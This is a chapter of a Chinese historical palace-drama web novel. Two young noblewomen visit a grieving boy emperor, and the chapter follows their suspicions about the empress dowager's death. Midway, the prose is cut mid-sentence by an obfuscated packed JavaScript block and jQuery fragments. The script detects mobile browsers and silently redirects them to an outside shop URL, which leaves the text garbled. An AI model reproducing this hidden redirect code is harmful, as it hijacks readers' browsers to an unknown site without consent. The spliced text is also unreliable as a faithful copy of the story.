朱晓风走下马车,抬头仰望九重宫阙,暗赞道:“这便是皇宫,好气派!”她站在宫墙之下,巍峨之感拂面而来。
李凌薇看着洛阳皇宫,这是她第二次来这儿,上一次因阿耶驾崩。气派不气派,她无甚感觉,只觉得它的每一块砖、每一片瓦都透着深深的压抑、悲痛之感。
阿能早就等候在丽景门前,一见到李凌薇,连忙上前行礼,“参见长公主,圣人特命奴在此恭迎长公主。”今年九月,李祚已加封李凌薇为梁国长公主。
李凌薇见到阿能,心中一暖,“辛苦阿能了。”
“长公主切勿如此说,折杀奴家。”
李凌薇又介绍道:“这是梁王之女朱九娘子。”
阿能遂朝朱晓风叉手行礼。
进入宫门后,李凌薇发觉不太对劲,一路冷冷清清,四周灯火稀少,只有两队宿卫军靠在殿门懒散地闲聊。禁中乃天子燕居之所,宿卫军竟疏懒至此,尚不及郡守之家。
三人来到紫宸殿外,因命妇无诏不得朝见皇帝,阿能遂请朱晓风在殿外等候“陛见”,先引着李凌薇进去。
李凌薇点头说“好”,脑海中发出一连串奇怪的疑问:太后去世,国之大丧,可皇宫里居然连一片白布都看不到。她对何太后之死再生疑窦:为何薨逝?如何薨逝?此事竟如此扑朔迷离,莫非……
宫监掀起帘子,一股浓郁的香气从越窑白瓷香炉发出,弥漫在整个殿堂中,透过这一道氤氲的屏风,李凌薇才看清楚偌大的紫宸殿,除了李祚外,只有两个宫监远远地侍候在御案之侧,显得异常空阔。
李祚头戴软角幞头,身着半旧浅青圆领絁袍,腰束乌皮躞蹀带,金靶刀子悬于其上,正襟危坐于龙椅上,低头专注翻阅书卷。
一年未见,原本瘦弱的李祚变得更加瘦削了,身上的袍子显得格外宽大,让李凌薇见了着实心痛。她方要唤一声“阿祚”,但想起如今他的身份,便掀起裙摆行叩拜大礼:“臣女平原叩见圣人,吾皇万岁万岁万万岁。”
李祚见到李凌薇,眼前一亮,斥责道:“怎么长公主来了也不告诉我一声!”遂连忙从龙椅上站起身,缓步朝她走来,他双手将她扶了起来,脸上带着亲切的笑容,“快快免礼。”
“谢圣人。不知圣人御体安好?”
“有劳阿姐挂念,朕一切都好。”实岁尚不足十四岁的李祚,眉宇间已沉积着超越他年龄的沧桑痕迹。
一声“阿姐”瞬间让李凌薇热泪盈眶,如今的李祚已经比她高出了一个脑袋,她仰视着他,能清楚地看到他深陷的眼眶中,是一双红肿布满血丝的眼睛,想必一定是为了何太后去世悲伤不已。她方想一探究竟,即见李祚转身走回龙椅坐下。
她看着李祚的反应,从他躲闪的眼神中,更加肯定了自己的猜测。
“长公主一路奔波,先回去歇息一下吧。阿能安排人好好服侍。”李祚说道。
“魏王之女朱氏听闻太后去世,怕我悲伤,特意一路陪着我,现在门外求见。”
李祚笑道:“朱娘子一路照顾长公主,真是辛苦。快请进来。”
朱晓风缓步而入,行三跪九叩觐见礼:“臣女朱氏拜见陛下,吾皇万岁万岁万万岁。”来的路上,李凌薇已教过她如何行礼、如何奏对。
“原来是梁王爱女,快快请起。朱娘子一路照顾长公主,有劳了。”李祚笑着道。
朱晓风略显紧张,一直没有站起身。李凌薇见状将她扶起身,她懂规矩地回道:“圣人……言重了,长公主乃是……臣女四嫂嫂,照顾她是臣女分内之事。”
“朱娘子第一次到洛阳,阿能多派些人好生照看。”李祚吩咐道,“我看不如就随长公主一起住在仙居殿吧。”
“多谢圣人。”朱晓风再次跪下谢恩。她原有些胆怯,现在见到这位万乘之君如此和蔼,胆怯之情自消。
李凌薇见李祚的态度冷淡,便说道:“天色不早了,臣女告退。”
李祚见她这般小心翼翼地同自己说话,心里竟有些空落落的,却并未挽留,“阿能送送长姐。”
朱晓风不由自主地偷偷瞥了李祚一眼,微红在她白嫩的脸上闪现,羞羞答答地俯身跪安,“臣女告退。”
夜幕低垂,宫灯初上,月亮悄然攀至中天。
李凌薇转身欲要回宫,见朱晓风凝伫在原地,两只眼睛呆呆地望着天空,脸上闪现出一丝笑容,嘟囔着,“原来圣人是长这样的。”她因是头一次觐见皇帝,心里紧张极了,双手紧攥,捏得手心都是汗。
李凌薇走近她,笑着反问道:“那你觉得圣人应该长什么样?”
“嗯……”朱晓风歪着脑袋若有所思地想了一会儿,“圣人是九五之尊,我想应该很威严、肃穆,可圣人他、他……是那么的年轻,又……”
“又如何?”
朱晓风抬头见李凌薇紧盯着她,白皙的脸庞忽地红了起来,一直红到了耳根子,即刻低下脖颈,不再说话。
李凌薇见状没有再追问,“咱们先回去吧。”
“好。”
“有皇宫里什么不方便之处,记得与我说,千万不要憋在心里。”
“好。”朱晓风轻声道。
李凌薇看着朱晓风扭扭捏捏的模样,暗想这丫头该不会是见到李祚,动了少女的情窦?遂不禁细细打量起朱晓风,不知不觉间,她长高了很多,出落得亭亭玉立,已是一位大娘子了。
出了紫宸殿,只见外面下起了纷纷扬扬的大雪,洛阳宫内触目皆白,有若满城素缟,宛如为何太后披上一层孝服。
“嫂嫂你看那边。”朱晓风好奇道。
李凌薇顺着她的手指的方向去看,一道星光划破夜空,光芒竟渐渐掩去了月色。望着这怪异的天象,她心中不免升起一种预感:彗星突然出现在西北,此非祥兆。可她欲言又止,终究还是按下了心头的不安,轻声道:“咱们去看看我小妹吧。”
“好。”
“来,阿姐在这儿呢。”李凌薇笑着张开双臂,眼中满是温柔。
永明公主李易安坐在软榻上,怯生生地看着李凌薇,眉眼间的神态像极了何太后。
“生以险衅,夙遭闵凶,生孩四月,慈父见背,行年两岁,又失其母。李凌薇看着小小年纪的她,心疼起来。
“快叫阿姐。”乳母杨氏站在一旁拿着糖果哄李易安。
李易安转过脑袋,不发一言。
“叫阿姐呀,公主。”杨氏继续哄着李易安。
过了片刻,李凌薇的眼眶渐渐泛红,泪花在眼中打转,“罢了,罢了,莫要再逼她了。”
“太后去世时,公主哭泣三日不吃东西,如同成人一般。”杨氏叹道。
“安安今日乖不乖?”李祚爽朗的笑声传了过来,他进来后,瞥见李凌薇也在场,脸上的笑容瞬间凝固,神色略显尴尬。他仍是一袭黑袍,腰间挂着佩剑。
“阿兄。”一见到李祚,原本安静如小猫般的李易安瞬间活泼起来,笑着扑进李祚的怀中,“我要阿娘,我要阿娘!”
“阿娘这几日不舒服,等身子好了,阿兄就带你去见她。”
听了李祚的话,李易安转了转小眼珠,懂事地点了点头。李祚随即将她交到杨氏怀中,“好好照顾公主。”又将眼睛转向李凌薇,“阿姐,我还有些奏折要看,先走一步。”
“圣人……”李凌薇的话还没说完,李祚已经转身逃离。
迎面进来的朱晓风见到李祚,欲避不可,与李祚撞了个满怀,李祚脸色铁青地拍了拍自己的衣襟。
朱晓风慌忙跪下,咬着唇,声音微颤道:“臣女并非有意冲撞圣人,还望圣人恕罪。”
“原来是朱娘子,快起来。”李祚笑道。
“臣女谢圣人宽恕之恩。”朱晓风缓缓地站了起来,低着头的她显得有些羞涩,努力地调整了稍显紧张的呼吸,再抬起头来李祚已然离开。她望着李祚的背影,“圣人怎么、怎么……这么快就、就走了。”
李凌薇看着李祚的背影,发觉他好像变了,好像不是那个曾经依赖自己的小阿弟了。
——————
“庶人何氏有愧母仪,圣人深感悲痛,遂废朝三日。吩咐说今日谁都不见。”阿能站在紫宸殿门前对李凌薇说道。
“连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574902|203025||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我都不行吗?”李凌薇十分费解。
今日一早李祚下诏:“皇太后位承坤德,有愧母仪。遣黄门收所上皇太后宝册,追废为庶人,宜差官告郊庙。”
李凌薇听了悚然一震:难不成阿娘当真做了什么见不得人之事?还是另有隐情?她暗地打听到阿秋、阿虔皆于殿前活活杖毙!所有的事情都透着错综复杂,她心中疑云密布,半点头绪也理不出。她又想到若不是她将阿虔留下,阿虔也许就不会惨死,一时又陷入深深地自责。
一连几日,李祚都不肯见她,似是刻意避着她。今日除夕,也是何太后的头七,过了戌时,她终于忍不住内心的猜疑来到紫宸殿外。
朱凛裁撤了大量宫监,偌大的洛阳皇宫只有千余人,除了紫宸殿一带灯火闪烁外,别处竟是黑沉沉一片。
阿能面色为难地看着她,摇了摇头。
李凌薇听到殿内传来丝丝乐声,好像是乐工在演奏,心中不由怒火中烧。她按下怒火,一时眸光飞转,转身走去御膳房。
她提着食盒回到紫宸殿前,见阿能又拦着她,冷声道,“你进去通报一声,我做了玉露团和冷蟾儿羹。”
“长公主,圣人说了,谁都不见。”阿能如实道。
“你快点进去禀报吧,我就在这里等着。”
“长公主您这不是难为奴吗?”
李凌薇语气坚定道:“把我的话转告他,他会见我的。”
阿能皱着眉头走了进去。不久,满脸笑容地跑了出来,“长公主请。”。
内殿被一围银平脱金屈戊彩绘枫树群鹿屏风分隔成两半,四名乐工坐在屏风前,分别手持筚篥、琵琶、古筝和笙,正在弹奏《秦王破阵乐》。
李凌薇绕开乐工走到屏风后,只见李祚形单影只地站在窗前,上弦月将要落下,天空显得有些暗淡。
“这么晚还在看奏折,一定饿了,这些都是阿姐亲手做的。”李凌薇将食盒打开,取出冷蟾儿羹倒入玉碗中,“这些都是你平日最爱吃的,阿姐许久没在,一定没有人做给你吃。”
李祚背对着李凌薇,一直克制自己情绪,听及此内心泛起一道涟漪。
“已经放凉了,可以吃了。”
李祚慢慢地把身子全部转了过来,一双迷茫的双眼透着无奈,未曾开口,眼泪早已先流出。李凌薇这才注意到他鬓角已有白发,不觉悲凉。她深知皇宫里耳目众多,便朝李祚使了个眼色。阿能会意命乐工退下,自己则到殿外站定,防备有人偷听。
“世人都说人死后七日灵魂要回家一次。传说回魂时可以听到沙沙的脚步声,这时家人千万不能说话,不然它听到后就会留恋不肯离去,无法转世。阿姐你听……”李祚突然开口道。
李凌薇听了一惊,愣在原地不敢说话。外面忽然狂风怒吼,飞沙裹挟着大树吱吱作响,一时间其他声响皆被淹没。
“看来她是不愿意回来了。”
话说到这里,一阵寒风扑进来,吹得满殿灯烛摇曳不定,窗纸都不安地簌簌作响,大殿里刹那间变得阴森寒冷。李祚不由得毛孔悚然,脸色都变了。
李凌薇欣喜着,连声音也哽咽了,泪眼蒙眬道:“你看,阿娘她在,她会一直陪在我们身边。”
李祚望着她,眼中的泪水越涌越多,僵硬的嘴角扯出一个寒意森森的微笑。
李凌薇定了定神,压低嗓子,凑到李祚耳旁,试探着问出困扰心中许久的疑惑,“阿娘的事情不是那样的,对不对?你为什么要那般说阿娘?”问过之后自觉失言,没待李祚回答,迅即朝他跑了过去,抱住他无比抱歉地说:“对不起阿祚,阿姐不该怀疑你,对不起。可是,阿娘真的是自杀吗?这到底是怎么一回事?”
“这一年,发生的事情太多了……”良久,李祚紧紧地抱住李凌薇,伏在她的肩上哭了起来。如今满宫奸细,无可信者。
李凌薇轻抚着他瘦削的脊背安慰着他,发现他的身体透着一种阴森的冰凉,“阿姐没有陪在你身边,对不起。”
“阿娘确实与蒋玄晖私通!”李祚的语气含着愤怒。
“私通?”李凌薇惊得合不拢嘴。